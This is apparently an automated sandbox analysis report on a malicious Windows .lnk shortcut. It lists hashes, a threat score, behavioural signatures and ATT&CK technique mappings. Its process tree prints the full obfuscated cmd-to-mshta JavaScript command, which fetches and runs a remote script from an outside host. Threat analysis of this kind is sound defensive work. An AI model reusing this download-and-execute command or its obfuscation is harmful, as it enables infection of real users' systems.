8ed91c8de844e9e8e083719b6a931516902773a7d7f7d5fccb9874180c9a886c

Resubmissions

21-06-2024 17:47

240621-wdak4syenc 10

17-06-2024 01:02

240617-bd377swhrc 10

Analysis

max time kernel
124s
max time network
157s
platform
windows10-2004_x64
resource
win10v2004-20240611-en
resource tags

arch:x64arch:x86image:win10v2004-20240611-enlocale:en-usos:windows10-2004-x64system
submitted
17-06-2024 01:02

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Report Analysis Logs

General

Target

3d390249d9ba45f8e6198dde8319ee8ccd5b9b23921472095ed453544ca537ab.lnk
Size

21KB
MD5

4415243fcb9203beae1702aa26910196
SHA1

ebc113a171e9c71cbf632e675f7406df4df1a56a
SHA256

3d390249d9ba45f8e6198dde8319ee8ccd5b9b23921472095ed453544ca537ab
SHA512

1ab29ca95a4027999b955dceb0a0f8f9150c5ad0648448d9d9d856b65ce371751d02335c8efab0f2b5b19fec25ac34f0b0d78d39230752ad608d0b49961e37c1
SSDEEP

384:Fk3cdmHBOYmMKWSTaYwxEzyj1MjqJ6mEbjYaRe+7zia83XBDCmTMWE0jf0lXiT63:yCmcYmMKFmYvzyiZbsM9FwxGgcUmrr

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 5 IoCs

Processes:

mshta.exe

flow pid process

2 2168 mshta.exe
4 2168 mshta.exe
6 2168 mshta.exe
16 2168 mshta.exe
19 2168 mshta.exe
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

cmd.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-3665033694-1447845302-680750983-1000\Control Panel\International\Geo\Nation cmd.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

flow	pid	process
2	2168	mshta.exe
4	2168	mshta.exe
6	2168	mshta.exe
16	2168	mshta.exe
19	2168	mshta.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-3665033694-1447845302-680750983-1000\Control Panel\International\Geo\Nation	cmd.exe

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

cmd.execmd.exe

description	pid	process	target process
PID 3588 wrote to memory of 4820	3588	cmd.exe	cmd.exe
PID 3588 wrote to memory of 4820	3588	cmd.exe	cmd.exe
PID 4820 wrote to memory of 2168	4820	cmd.exe	mshta.exe
PID 4820 wrote to memory of 2168	4820	cmd.exe	mshta.exe

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\3d390249d9ba45f8e6198dde8319ee8ccd5b9b23921472095ed453544ca537ab.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3588

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /v:on /D/c mshTa "jaVascrIpT:var _$_VEBW=["\x52\x5a\x49\120\x49\x56\x4d","\163\143\162\151\160\x74\x3a\110\x54\164\x70\x73\x3a\x2f\57\x70\x72\x75\x6d\x69\x6e\x6e\x61\x6c\x34\65\56\x70\x72\x6f\144\x75\143\x61\x6f\146\x69\x6c\151\x61\x6c\x2e\172\x61\x2e\143\x6f\x6d\x2f\x3f\x32\x2f"];try{GetObject(_$_VEBW[1])[_$_VEBW[0]]()}catch(e){};close()"
2⤵
- Suspicious use of WriteProcessMemory
PID:4820

C:\Windows\system32\mshta.exe
mshTa "jaVascrIpT:var _$_VEBW=["\x52\x5a\x49\120\x49\x56\x4d","\163\143\162\151\160\x74\x3a\110\x54\164\x70\x73\x3a\x2f\57\x70\x72\x75\x6d\x69\x6e\x6e\x61\x6c\x34\65\56\x70\x72\x6f\144\x75\143\x61\x6f\146\x69\x6c\151\x61\x6c\x2e\172\x61\x2e\143\x6f\x6d\x2f\x3f\x32\x2f"];try{GetObject(_$_VEBW[1])[_$_VEBW[0]]()}catch(e){};close()"
3⤵
- Blocklisted process makes network request
PID:2168

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=1308,i,3144109701624127473,12586215149656995128,262144 --variations-seed-version --mojo-platform-channel-handle=1036 /prefetch:8
1⤵
PID:4408

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Resubmissions

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v13

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